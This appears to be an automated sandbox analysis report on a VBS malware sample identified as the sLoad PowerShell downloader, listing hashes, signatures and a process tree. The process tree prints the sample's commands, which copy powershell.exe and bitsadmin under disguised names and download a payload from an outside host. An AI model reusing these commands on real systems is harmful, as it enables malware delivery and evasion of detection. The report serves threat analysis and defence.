Analysis

  • max time kernel
    37s
  • max time network
    90s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    11-01-2021 08:44

General

  • Target

    Allegato_doc_02613440060.vbs

  • Size

    8KB

  • MD5

    6266da42dda2a91e97c63181b85b26d4

  • SHA1

    2a0673cc7ea00b5187dac046b906aa1018317236

  • SHA256

    12bad94c43427bae4e3855ebdd60d32d7a6305f108a811ead926950450ec503b

  • SHA512

    fed5ca3e0b5f2214d12c6e8e6d86b6f96589e4629a588bb91cb3df90e3f20c17bb0413f9cbc1683a64642a5b2aa1ddc3ce2a59bb674febe28676c5a5157913c6

Score
10/10

Malware Config

Signatures

  • sLoad

    sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Allegato_doc_02613440060.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4684
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\fatSkEH.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\NXBtfaY*.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4992
      • C:\Windows\system32\cmd.exe
        cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\fatSkEH.exe
        3⤵
          PID:5056
        • C:\Windows\system32\cmd.exe
          cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\NXBtfaY*.exe
          3⤵
            PID:3536
        • C:\ProgramData\NXBtfaYin.exe
          "C:\ProgramData\NXBtfaYin.exe" /transfer vQtoGc /download https://ladiesincode.com/ladi/02613440060/maps.png C:\Users\Admin\AppData\Roaming\maps.png
          2⤵
          • Executes dropped EXE
          PID:3860

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\NXBtfaYin.exe

        MD5

        bc3fc615ded204ba43b3b5ee76e7aa32

        SHA1

        7295b2b245fe99eac5a597693b4388c38b50edca

        SHA256

        452eb204875973149566fed16fe8869f3ee9cb11961b50dd088e5efb5a093889

        SHA512

        7c619b7d3a92f1b18302e0473f54cd712888088181350d63cafcabbe35753abe93819bfb95dda77b93fd8ff9f5dccef15caa3c077cc22ff95b73138b317107ca

      • C:\ProgramData\NXBtfaYin.exe

        MD5

        bc3fc615ded204ba43b3b5ee76e7aa32

        SHA1

        7295b2b245fe99eac5a597693b4388c38b50edca

        SHA256

        452eb204875973149566fed16fe8869f3ee9cb11961b50dd088e5efb5a093889

        SHA512

        7c619b7d3a92f1b18302e0473f54cd712888088181350d63cafcabbe35753abe93819bfb95dda77b93fd8ff9f5dccef15caa3c077cc22ff95b73138b317107ca

      • memory/3536-5-0x0000000000000000-mapping.dmp

      • memory/3860-7-0x0000000000000000-mapping.dmp

      • memory/4684-2-0x000001E4793B0000-0x000001E4793B4000-memory.dmp

        Filesize

        16KB

      • memory/4992-3-0x0000000000000000-mapping.dmp

      • memory/5056-4-0x0000000000000000-mapping.dmp